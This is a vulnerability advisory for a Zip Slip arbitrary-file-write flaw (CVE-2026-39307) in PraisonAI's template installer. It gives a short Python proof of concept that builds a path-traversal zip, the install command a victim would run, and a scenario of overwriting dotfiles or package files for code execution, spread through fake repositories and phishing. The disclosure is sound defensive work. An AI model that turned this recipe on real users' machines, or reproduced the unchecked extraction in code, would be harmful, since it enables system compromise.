CVE-2026-39307: PraisonAI: Zip Slip enables arbitrary file write / RCE

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory. ### Details Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852) Vulnerable Code snippet: ```python zip_ref.extractall(tmpdir) ``` During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren't strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem. ### PoC 1. Generate a malicious zip payload: ```python import zipfile with zipfile.ZipFile('malicious_template.zip', 'w') as z: # Adding a file that traverses directories z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip') ``` 2. Trick a user into installing the malicious template: ```bash praisonai templates install github:attacker/malicious_template ``` 3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim's machine. ### Impact This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

An attacker creates a GitHub repository named something legitimate like `praisonai-enterprise-templates` or `langchain-agent-templates`, publishes a README with convincing documentation, and seeds initial stars. The repository contains a `templates.zip` archive where one or more entries use path traversal sequences (e.g., `../../../../home/user/.bashrc` or `../../../../usr/local/lib/python3.x/site-packages/praisonai/__init__.py`). The attacker then promotes the template in PraisonAI community channels, Discord servers, or via a phishing email targeting AI engineers. When a victim runs `praisonai templates install github:attacker/enterprise-templates`, the CLI fetches and extracts the ZIP without path validation, silently writing the malicious payload to the traversal target. If the target is a Python package file, subsequent imports execute attacker-controlled code; if it is a shell dotfile, the payload executes on next login. In a CI/CD context, the compromise propagates to every build run on that agent.